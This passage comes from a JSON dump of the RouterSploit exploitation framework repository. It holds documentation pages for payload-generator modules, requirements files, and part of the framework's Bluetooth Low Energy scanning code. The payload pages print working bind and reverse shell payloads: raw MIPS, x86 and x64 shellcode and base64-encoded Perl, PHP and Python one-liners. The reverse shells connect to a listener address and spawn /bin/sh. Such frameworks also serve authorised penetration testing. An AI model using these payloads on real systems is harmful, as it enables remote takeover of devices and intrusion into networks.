\"\\x69\\xaf\\xa8\\xff\\xec\\x3c\\x08\\x6e\\x2f\\x35\\x08\\x73\\x68\\xaf\\xa8\"\n    \"\\xff\\xf0\\x28\\x07\\xff\\xff\\xaf\\xa7\\xff\\xf4\\xaf\\xa7\\xff\\xfc\\x23\"\n    \"\\xa4\\xff\\xec\\x23\\xa8\\xff\\xec\\xaf\\xa8\\xff\\xf8\\x23\\xa5\\xff\\xf8\"\n    \"\\x27\\xbd\\xff\\xec\\x28\\x06\\xff\\xff\\x24\\x02\\x0f\\xab\\x00\\x90\\x93\"\n    \"\\x4c\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/mipsle/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell for MIPSLE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/mipsle/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates mipsle bind shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/mipsle/bind_tcp\nrsf (MIPSLE Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (MIPSLE Bind TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\xe0\\xff\\xbd\\x27\\xfd\\xff\\x0e\\x24\\x27\\x20\\xc0\\x01\\x27\\x28\\xc0\"\n    \"\\x01\\xff\\xff\\x06\\x28\\x57\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\\xff\"\n    \"\\x50\\x30\\xef\\xff\\x0e\\x24\\x27\\x70\\xc0\\x01\\x10\\xe1\\x0d\\x24\\x04\"\n    \"\\x68\\xcd\\x01\\xfd\\xff\\x0e\\x24\\x27\\x70\\xc0\\x01\\x25\\x68\\xae\\x01\"\n    \"\\xe0\\xff\\xad\\xaf\\xe4\\xff\\xa0\\xaf\\xe8\\xff\\xa0\\xaf\\xec\\xff\\xa0\"\n    \"\\xaf\\x25\\x20\\x10\\x02\\xef\\xff\\x0e\\x24\\x27\\x30\\xc0\\x01\\xe0\\xff\"\n    \"\\xa5\\x23\\x49\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\\x01\"\n    \"\\x01\\x05\\x24\\x4e\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\"\n    \"\\xff\\xff\\x05\\x28\\xff\\xff\\x06\\x28\\x48\\x10\\x02\\x24\\x0c\\x01\\x01\"\n    \"\\x01\\xff\\xff\\xa2\\xaf\\xfd\\xff\\x11\\x24\\x27\\x88\\x20\\x02\\xff\\xff\"\n    \"\\xa4\\x8f\\x21\\x28\\x20\\x02\\xdf\\x0f\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\"\n    \"\\xff\\x10\\x24\\xff\\xff\\x31\\x22\\xfa\\xff\\x30\\x16\\xff\\xff\\x06\\x28\"\n    \"\\x62\\x69\\x0f\\x3c\\x2f\\x2f\\xef\\x35\\xec\\xff\\xaf\\xaf\\x73\\x68\\x0e\"\n    \"\\x3c\\x6e\\x2f\\xce\\x35\\xf0\\xff\\xae\\xaf\\xf4\\xff\\xa0\\xaf\\xec\\xff\"\n    \"\\xa4\\x27\\xf8\\xff\\xa4\\xaf\\xfc\\xff\\xa0\\xaf\\xf8\\xff\\xa5\\x27\\xab\"\n    \"\\x0f\\x02\\x24\\x0c\\x01\\x01\\x01\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/mipsle/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell for MIPSLE architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/mipsle/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Module generates mipsle reverse shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/mipsle/reverse_tcp\nrsf (MIPSLE Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (MIPSLE Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (MIPSLE Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\xff\\xff\\x04\\x28\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\x11\\x11\\x04\"\n    \"\\x28\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\\x20\"\n    \"\\x80\\x01\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\"\n    \"\\x20\\x80\\x01\\x27\\x28\\x80\\x01\\xff\\xff\\x06\\x28\\x57\\x10\\x02\\x24\"\n    \"\\x0c\\x09\\x09\\x01\\xff\\xff\\x44\\x30\\xc9\\x0f\\x02\\x24\\x0c\\x09\\x09\"\n    \"\\x01\\xc9\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\x10\\xe1\\x05\\x3c\\x02\\x00\"\n    \"\\xa5\\x34\\xf8\\xff\\xa5\\xaf\\x01\\x04\\x05\\x3c\\xc0\\xa8\\xa5\\x34\\xfc\"\n    \"\\xff\\xa5\\xaf\\xf8\\xff\\xa5\\x23\\xef\\xff\\x0c\\x24\\x27\\x30\\x80\\x01\"\n    \"\\x4a\\x10\\x02\\x24\\x0c\\x09\\x09\\x01\\x62\\x69\\x08\\x3c\\x2f\\x2f\\x08\"\n    \"\\x35\\xec\\xff\\xa8\\xaf\\x73\\x68\\x08\\x3c\\x6e\\x2f\\x08\\x35\\xf0\\xff\"\n    \"\\xa8\\xaf\\xff\\xff\\x07\\x28\\xf4\\xff\\xa7\\xaf\\xfc\\xff\\xa7\\xaf\\xec\"\n    \"\\xff\\xa4\\x23\\xec\\xff\\xa8\\x23\\xf8\\xff\\xa8\\xaf\\xf8\\xff\\xa5\\x23\"\n    \"\\xec\\xff\\xbd\\x27\\xff\\xff\\x06\\x28\\xab\\x0f\\x02\\x24\\x0c\\x09\\x09\"\n    \"\\x01\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/perl/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using perl. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/perl/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates perl tcp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/perl/bind_tcp\nrsf (Perl Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (Perl Bind TCP) > run\n[*] Running module...\n[*] Generating payload\nuse MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));\n```\n"
  },
  {
    "path": "docs/modules/payloads/perl/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using perl. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/perl/reverse_tcp`\n  3. Do: `set lhost 192.168.1.3`\n  3. Do: `set lport 4321`\n  4. Do: `run`\n  5. Module generates perl tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/perl/reverse_tcp\nrsf (Perl Reverse TCP) > set lhost 192.168.1.3\n[+] lhost => 192.168.1.3\nrsf (Perl Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (Perl Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\nuse MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='))\n```\n"
  },
  {
    "path": "docs/modules/payloads/php/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using php. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/php/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates php tcp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/php/bind_tcp\nrsf (PHP Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (PHP Bind TCP) > run\n[*] Running module...\n[*] Generating payload\neval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\n```\n"
  },
  {
    "path": "docs/modules/payloads/php/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using php. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/php/reverse_udp`\n  3. Do: `set lhost 192.168.1.4`\n  3. Do: `set lport 4321`\n  4. Do: `run`\n  5. Module generates php tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/php/reverse_tcp\nrsf (PHP Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (PHP Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (PHP Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\neval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));\n```\n"
  },
  {
    "path": "docs/modules/payloads/python/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell by using python. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/python/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates python tcp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/python/bind_tcp\nrsf (Python Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (Python Bind TCP) > run\n[*] Running module...\n[*] Generating payload\nexec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))\n```\n"
  },
  {
    "path": "docs/modules/payloads/python/bind_udp.md",
    "content": "## Description\n\nModule generates payload that creates interactive udp bind shell by using python. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/python/bind_udp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates python udp bind shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/python/bind_udp\nrsf (Python Bind UDP) > set rport 4321\n[+] rport => 4321\nrsf (Python Bind UDP) > run\n[*] Running module...\n[*] Generating payload\nexec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))\n```\n"
  },
  {
    "path": "docs/modules/payloads/python/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell by using python. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/python/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  3. Do: `set lport 4321`\n  4. Do: `run`\n  5. Module generates python tcp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/python/reverse_tcp\nrsf (Python Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Python Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (Python Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\nexec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))\n```\n"
  },
  {
    "path": "docs/modules/payloads/python/reverse_udp.md",
    "content": "## Description\n\nModule generates payload that creates interactive udp reverse shell by using python. \n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/python/reverse_udp`\n  3. Do: `set lhost 192.168.1.4`\n  3. Do: `set lport 4321`\n  4. Do: `run`\n  5. Module generates python udp reverse shell payload\n\n## Scenarios\n\n```\nrsf > use payloads/python/reverse_udp\nrsf (Python Reverse UDP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (Python Reverse UDP) > set lport 4321\n[+] lport => 4321\nrsf (Python Reverse UDP) > run\n[*] Running module...\n[*] Generating payload\nexec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))\n```\n"
  },
  {
    "path": "docs/modules/payloads/x64/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell for X64 architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/x64/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates x64 bind shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/x64/bind_tcp\nrsf (X64 Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (X64 Bind TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x52\"\n    \"\\xc7\\x04\\x24\\x02\\x00\\x10\\xe1\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x31\"\n    \"\\x58\\x0f\\x05\\x6a\\x32\\x58\\x0f\\x05\\x48\\x31\\xf6\\x6a\\x2b\\x58\\x0f\"\n    \"\\x05\\x48\\x97\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\"\n    \"\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n    \"\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/x64/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell for X64 architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/x64/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Module generates x64 reverse shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/x64/reverse_tcp\nrsf (X64 Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (X64 Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (X64 Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x48\"\n    \"\\xb9\\x02\\x00\\x10\\xe1\\xc0\\xa8\\x01\\x04\\x51\\x48\\x89\\xe6\\x6a\\x10\"\n    \"\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\"\n    \"\\x0f\\x05\\x75\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\"\n    \"\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/x86/bind_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp bind shell for X86 architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/x86/bind_tcp`\n  3. Do: `set rport 4321`\n  4. Do: `run`\n  5. Module generates x86 bind shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/x86/bind_tcp\nrsf (X86 Bind TCP) > set rport 4321\n[+] rport => 4321\nrsf (X86 Bind TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\"\n    \"\\x5b\\x5e\\x52\\x68\\x02\\x00\\x10\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\"\n    \"\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\"\n    \"\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\"\n    \"\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\"\n    \"\\x0b\\xcd\\x80\"\n)\n```\n"
  },
  {
    "path": "docs/modules/payloads/x86/reverse_tcp.md",
    "content": "## Description\n\nModule generates payload that creates interactive tcp reverse shell for X86 architecture.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use payloads/x86/reverse_tcp`\n  3. Do: `set lhost 192.168.1.4`\n  4. Do: `set lport 4321`\n  5. Module generates x86 reverse shell tcp payload\n\n## Scenarios\n\n```\nrsf > use payloads/x86/reverse_tcp\nrsf (X86 Reverse TCP) > set lhost 192.168.1.4\n[+] lhost => 192.168.1.4\nrsf (X86 Reverse TCP) > set lport 4321\n[+] lport => 4321\nrsf (X86 Reverse TCP) > run\n[*] Running module...\n[*] Generating payload\n[+] Building payload for python\npayload = (\n    \"\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\"\n    \"\\x93\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68\\xc0\\xa8\\x01\\x04\\x68\"\n    \"\\x02\\x00\\x10\\xe1\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\"\n    \"\\xcd\\x80\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\"\n    \"\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"\n)\n```\n"
  },
  {
    "path": "requirements-dev.txt",
    "content": "requests==2.32.2\nparamiko\npysnmp==4.4.6\npycryptodome\npytest==4.4.0\npytest-forked\npytest-xdist\nflake8\ngit+git://github.com/threat9/threat9-test-bed\ntelnetlib3\n"
  },
  {
    "path": "requirements.txt",
    "content": "requests==2.32.2\nparamiko\npysnmp\npycryptodome\n"
  },
  {
    "path": "routersploit/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/bluetooth/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/core/bluetooth/btle/__init__.py",
    "content": "from .btle_device import (\n    Device\n)\nfrom .btle_scanner import (\n    BTLEScanner,\n    ScanDelegate\n)\n\n\n__all__ = [\n    \"Device\",\n    \"BTLEScanner\",\n    \"ScanDelegate\",\n]\n"
  },
  {
    "path": "routersploit/core/bluetooth/btle/btle_device.py",
    "content": "import struct\nfrom bluepy.btle import (\n    Peripheral,\n    ScanEntry,\n    AssignedNumbers\n)\nfrom routersploit.core.exploit.printer import (\n    print_table,\n    print_success,\n    print_status,\n    print_error,\n    color_blue,\n    color_green,\n    color_red\n)\nfrom routersploit.core.exploit.utils import (\n    lookup_vendor\n)\n\n\nclass Device(ScanEntry):\n    \"\"\" Single discovered Bluetooth Low Energy device \"\"\"\n\n    def __init__(self, addr, iface):\n        ScanEntry.__init__(self, addr, iface)\n\n        self.vendor = None\n        self.data = []\n\n    def _update(self, resp):\n        ScanEntry._update(self, resp)\n\n        if self.addrType == \"random\":\n            self.vendor = \"None (Random MAC address)\"\n        else:\n            self.vendor = lookup_vendor(self.addr)\n\n        if self.scanData:\n            self.data = self._get_data(self.getScanData())\n\n    def print_info(self):\n        headers = (color_blue(\"{} ({} dBm)\").format(self.addr, self.rssi), \"\")\n        if self.connectable:\n            allow_connection = color_green(str(self.connectable))\n        else:\n            allow_connection = color_red(str(self.connectable))\n\n        data = [\n            (\"Vendor\", self.vendor),\n            (\"Allow Connections\", allow_connection),\n        ]\n\n        for d in self.data:\n            data.append((d[0], d[1]))\n\n        print_table(headers, *data, max_column_length=70, extra_fill=3)\n\n    def print_services(self):\n        headers = (\"Handles\", \"Service > Characteristics\", \"Properties\", \"Data\")\n        services = self.enumerate_services()\n\n        if services:\n            print_table(headers, *services, max_column_length=70, extra_fill=3)\n\n    def enumerate_services(self):\n        print_status(\"Starting enumerating {} ({} dBm) ...\".format(self.addr, self.rssi))\n\n        try:\n            dev = Peripheral(self, self.addrType)\n\n            services = sorted(dev.services, key=lambda s: s.hndStart)\n\n            data = []\n            for service in services:\n                if service.hndStart == service.hndEnd:\n                    continue\n\n                data.append([\n                    \"{:04x} -> {:04x}\".format(service.hndStart, service.hndEnd),\n                    self._get_svc_description(service),\n                    \"\",\n                    \"\",\n                ])\n\n                for _, char in enumerate(service.getCharacteristics()):\n                    desc = self._get_char_description(char)\n                    props = char.propertiesToString()\n                    hnd = char.getHandle()\n                    value = self._get_char(char, props)\n\n                    data.append([\n                        \"{:04x}\".format(hnd), desc, props, value\n                    ])\n\n            dev.disconnect()\n\n            return data\n\n        except Exception as err:\n            print_error(err)\n\n        try:\n            dev.disconnect()\n        except Exception as err:\n            print_error(err)\n\n        return None\n\n    def write(self, characteristic, data):\n        try:\n            dev = Peripheral(self, self.addrType)\n\n            services = sorted(dev.services, key=lambda s: s.hndStart)\n\n            print_status(\"Searching for characteristic {}\".format(characteristic))\n            char = None\n            for service in services:\n                if char is not None:\n                    break\n\n                for _, c in enumerate(service.getCharacteristics()):\n                    if str(c.uuid) == characteristic:\n                        char = c\n                        break\n\n            if char:\n                if \"WRITE\" in char.propertiesToString():\n                    print_success(\"Sending {} bytes...\".format(len(data)))\n\n                    wwrflag = False\n\n                    if \"NO RESPONSE\" in char.propertiesToString():\n                        wwrflag = True\n\n                    try:\n                        char.write(data, wwrflag)\n                        print_success(\"Data sent\")\n                    except Exception as err:\n                        print_error(\"Error: {}\".format(err))\n\n                else:\n                    print_error(\"Not writable\")\n\n            dev.disconnect()\n\n        except Exception as err:\n            print_error(err)\n\n        try:\n            dev.disconnect()\n        except Exception:\n            pass\n\n        return None\n\n    def _get_data(self, scan_data):\n        data = []\n        for (tag, desc, val) in scan_data:\n            if desc == \"Flags\":\n                data.append((\"Flags\", self._get_flags(val)))\n\n            elif tag in [8, 9]:\n                try:\n                    data.append((desc, val))\n                except UnicodeEncodeError:\n                    data.append((desc, repr(val)))\n\n            else:\n                data.append((desc, val))\n\n        return data\n\n    def _get_flags(self, data):\n        bits = []\n        flags = int(data, 16)\n\n        if self._is_bit_set(flags, 0):\n            bits.append(\"LE Limited Discoverable\")\n\n        if self._is_bit_set(flags, 1):\n            bits.append(\"LE General Discoverable\")\n\n        if self._is_bit_set(flags, 2):\n            bits.append(\"BR/EDR\")\n\n        if self._is_bit_set(flags, 3):\n            bits.append(\"LE + BR/EDR Controller Mode\")\n\n        if self._is_bit_set(flags, 4):\n            bits.append(\"LE + BR/EDR Host Mode\")\n\n        return \", \".join(bits)\n\n    def _is_bit_set(self, byteval, idx):\n        return ((byteval & (1 << idx)) != 0)\n\n    def _get_svc_description(self, service):\n        uuid_name = service.uuid.getCommonName()\n\n        if uuid_name and uuid_name != str(service.uuid):\n            return \"{} ({})\".format(color_green(uuid_name), service.uuid)\n\n        return str(service.uuid)\n\n    def _get_char_description(self, char):\n        char_name = char.uuid.getCommonName()\n        if char_name and char_name != str(char.uuid):\n            return \"  {} ({})\".format(color_green(char_name), char.uuid)\n\n        return \"  {}\".format(char.uuid)\n\n    def _get_char(self, char, props):\n        string = \"\"\n        if \"READ\" in props and \"INDICATE\" not in props:\n            try:\n                data = char.read()\n\n                if char.uuid == AssignedNumbers.appearance:\n                    string = self._get_appearance(data)\n                else:\n                    try:\n                        string = color_blue(repr(data.decode(\"utf-8\")))\n                    except Exception:\n                        string = repr(data)\n\n            except Exception:\n                pass\n\n        return string\n\n    def _get_appearance(self, data):\n        appearance = {\n            0: \"Unknown\",\n            64: \"Generic Phone\",\n            128: \"Generic Computer\",\n            192: \"Generic Watch\",\n            193: \"Watch: Sports Watch\",\n            256: \"Generic Clock\",\n            320: \"Generic Display\",\n            384: \"Generic Remote Control\",\n            448: \"Generic Eye-glasses\",\n            512: \"Generic Tag\",\n            576: \"Generic Keyring\",\n            640: \"Generic Media Player\",\n            704: \"Generic Barcode Scanner\",\n            768: \"Generic Thermometer\",\n            769: \"Thermometer: Ear\",\n            832: \"Generic Heart rate Sensor\",\n            833: \"Heart Rate Sensor: Heart Rate Belt\",\n            896: \"Generic Blood Pressure\",\n            897: \"Blood Pressure: Arm\",\n            898: \"Blood Pressure: Wrist\",\n            960: \"Human Interface Device (HID)\",\n            961: \"Keyboard\",\n            962: \"Mouse\",\n            963: \"Joystick\",\n            964: \"Gamepad\",\n            965: \"Digitizer Tablet\",\n            966: \"Card Reader\",\n            967: \"Digital Pen\",\n            968: \"Barcode Scanner\",\n            1024: \"Generic Glucose Meter\",\n            1088: \"Generic: Running Walking Sensor\",\n            1089: \"Running Walking Sensor: In-Shoe\",\n            1090: \"Running Walking Sensor: On-Shoe\",\n            1091: \"Running Walking Sensor: On-Hip\",\n            1152: \"Generic: Cycling\",\n            1153: \"Cycling: Cycling Computer\",\n            1154: \"Cycling: Speed Sensor\",\n            1155: \"Cycling: Cadence Sensor\",\n            1156: \"Cycling: Power Sensor\",\n            1157: \"Cycling: Speed and Cadence Sensor\",\n            1216: \"Generic Control Device\",\n            1217: \"Switch\",\n            1218: \"Multi-switch\",\n            1219: \"Button\",\n            1220: \"Slider\",\n            1221: \"Rotary\",\n            1222: \"Touch-panel\",\n            1280: \"Generic Network Device\",\n            1281: \"Access Point\",\n            1344: \"Generic Sensor\",\n            1345: \"Motion Sensor\",\n            1346: \"Air Quality Sensor\",\n            1347: \"Temperature Sensor\",\n            1348: \"Humidity Sensor\",\n            1349: \"Leak Sensor\",\n            1350: \"Smoke Sensor\",\n            1351: \"Occupancy Sensor\",\n            1352: \"Contact Sensor\",\n            1353: \"Carbon Monoxide Sensor\",\n            1354: \"Carbon Dioxide Sensor\",\n            1355: \"Ambient Light Sensor\",\n            1356: 